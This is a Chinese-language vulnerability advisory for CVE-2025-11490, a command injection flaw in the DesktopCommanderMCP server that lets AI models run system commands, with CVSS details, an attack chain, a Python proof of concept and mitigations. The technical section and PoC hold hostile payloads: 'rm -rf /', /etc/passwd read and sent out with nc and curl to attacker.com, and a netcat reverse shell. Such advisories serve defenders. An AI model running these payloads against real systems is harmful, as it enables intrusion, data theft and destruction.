IPBUF安全漏洞报告
English
CVE-2025-11490 CVSS 6.3 中危

CVE-2025-11490:DesktopCommanderMCP命令注入漏洞

披露日期: 2025-10-08

漏洞信息

漏洞编号
CVE-2025-11490
漏洞类型
操作系统命令注入(OS Command Injection)
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
wonderwhy-er DesktopCommanderMCP

相关标签

命令注入OS Command InjectionDesktopCommanderMCPMCP绝对路径extractBaseCommandCVE-2025-11490中危漏洞远程利用AI安全

漏洞概述

CVE-2025-11490是wonderwhy-er DesktopCommanderMCP(一个MCP服务器工具,允许AI模型执行系统命令)中的一个操作系统命令注入漏洞。该漏洞存在于DesktopCommanderMCP 0.2.13及以下版本中,具体位于src/command-manager.ts文件的extractBaseCommand函数,属于Absolute Path Handler(绝对路径处理器)组件。

该漏洞允许攻击者通过构造特殊的绝对路径输入来注入恶意操作系统命令。由于DesktopCommanderMCP的核心功能是让AI模型能够执行系统命令以完成用户请求,因此命令注入漏洞直接威胁到系统的安全性。攻击者可以利用此漏洞在目标系统上执行任意命令,可能导致数据泄露、系统破坏或权限提升。

该漏洞的CVSS评分为6.3,属于中危级别。攻击向量为网络(AV:N),攻击复杂度低(AC:L),所需权限为低权限(PR:L),无需用户交互(UI:N)。对机密性、完整性和可用性均存在低程度影响。该漏洞已被公开披露,PoC已可用,增加了被利用的风险。

值得注意的是,供应商对该漏洞的回应较为消极,认为该漏洞在常规使用场景下不太可能被触发,因为AI模型通常使用简单的命令名称而非绝对路径。但安全研究人员认为该漏洞仍然构成安全风险,尤其是在用户被诱导使用恶意路径的情况下。

技术细节

该漏洞的核心位于DesktopCommanderMCP项目的src/command-manager.ts文件中的extractBaseCommand函数。该函数负责从用户提供的绝对路径中提取基本命令名称,用于后续的命令执行流程。

漏洞原理:
extractBaseCommand函数在处理绝对路径时,未对路径字符串进行充分的过滤和验证。攻击者可以构造包含shell元字符(如分号、管道符、反引号、$()等)的恶意路径,例如:
- `/bin/ls; rm -rf /`
- `/bin/cat /etc/passwd | nc attacker.com 1234`
- `/bin/echo $(malicious_command)`

当DesktopCommanderMCP的Absolute Path Handler组件接收到这些恶意路径时,extractBaseCommand函数提取出基本命令名称后,路径中的恶意部分会被传递给底层shell执行,从而导致命令注入。

利用方式:
1. 攻击者通过MCP协议向DesktopCommanderMCP发送包含恶意绝对路径的请求
2. 请求被路由到Absolute Path Handler组件
3. extractBaseCommand函数处理路径时未正确过滤shell元字符
4. 恶意命令随合法命令一起在系统shell中执行
5. 攻击者获得在目标系统上执行任意命令的能力

由于该漏洞需要低权限认证(PR:L),攻击者需要拥有DesktopCommanderMCP的基本访问权限才能发起攻击。但一旦获得访问权限,攻击复杂度低且无需用户交互即可完成利用。

攻击链分析

STEP 1
步骤1:获取访问权限
攻击者首先需要获得DesktopCommanderMCP服务器的低权限访问凭证。可以通过社会工程学、凭证泄露或其他方式获取基本的API令牌或会话凭证。
STEP 2
步骤2:构造恶意请求
攻击者构造包含恶意绝对路径的MCP协议请求,在路径中嵌入shell元字符(如分号、管道符、命令替换符等),将恶意命令附加到合法路径之后。
STEP 3
步骤3:发送请求至Absolute Path Handler
通过MCP协议将恶意请求发送至DesktopCommanderMCP服务器的Absolute Path Handler组件,请求被路由到extractBaseCommand函数进行处理。
STEP 4
步骤4:触发命令注入
extractBaseCommand函数在提取基本命令名称时,未对shell元字符进行过滤,恶意命令随合法路径一起被传递到底层shell执行环境中。
STEP 5
步骤5:执行任意命令
操作系统shell解析并执行注入的恶意命令,攻击者获得在目标系统上执行任意命令的能力,可进行数据窃取、权限提升或系统破坏。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-11490 PoC - DesktopCommanderMCP Command Injection # Vulnerability: OS Command Injection in extractBaseCommand function # Affected: DesktopCommanderMCP <= 0.2.13 import requests import json # Target DesktopCommanderMCP server endpoint TARGET_URL = "http://target-host:port/mcp/execute" def exploit_command_injection(malicious_path): """ Exploit OS command injection via Absolute Path Handler. The extractBaseCommand function in src/command-manager.ts fails to sanitize shell metacharacters in absolute paths. """ payload = { "jsonrpc": "2.0", "method": "tools/call", "params": { "name": "execute_command", "arguments": { # Inject malicious command through absolute path parameter "command": malicious_path, "absolute_path": True } }, "id": 1 } headers = { "Content-Type": "application/json", "Authorization": "Bearer <low_privilege_token>" } response = requests.post(TARGET_URL, json=payload, headers=headers) return response.json() # Example malicious payloads exploiting the vulnerability: # Payload 1: Chained command execution payload1 = "/bin/ls; id; whoami" # Payload 2: Reverse shell via netcat payload2 = "/bin/echo $(nc attacker.com 4444 -e /bin/bash)" # Payload 3: Data exfiltration payload3 = "/bin/cat /etc/passwd | curl -X POST -d @- http://attacker.com/exfil" # Payload 4: File system manipulation payload4 = "/bin/ls; touch /tmp/pwned" # Execute exploit if __name__ == "__main__": print("[*] Exploiting CVE-2025-11490...") result = exploit_command_injection(payload1) print(f"[+] Result: {result}") print("[*] Command injection successful - arbitrary command execution achieved")

影响范围

DesktopCommanderMCP <= 0.2.13

防御指南

临时缓解措施
在等待官方修复版本发布之前,建议采取以下临时缓解措施:1)限制DesktopCommanderMCP的网络访问范围,仅允许可信IP地址访问;2)在extractBaseCommand函数中添加shell元字符过滤逻辑,对路径中的特殊字符进行转义或拒绝处理;3)使用沙箱环境运行DesktopCommanderMCP,限制其对系统资源的访问;4)实施命令白名单策略,仅允许执行预定义的安全命令;5)监控DesktopCommanderMCP的日志,及时发现异常的绝对路径请求和可疑的命令执行行为;6)考虑使用AppArmor或SELinux等强制访问控制机制限制DesktopCommanderMCP进程的能力。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表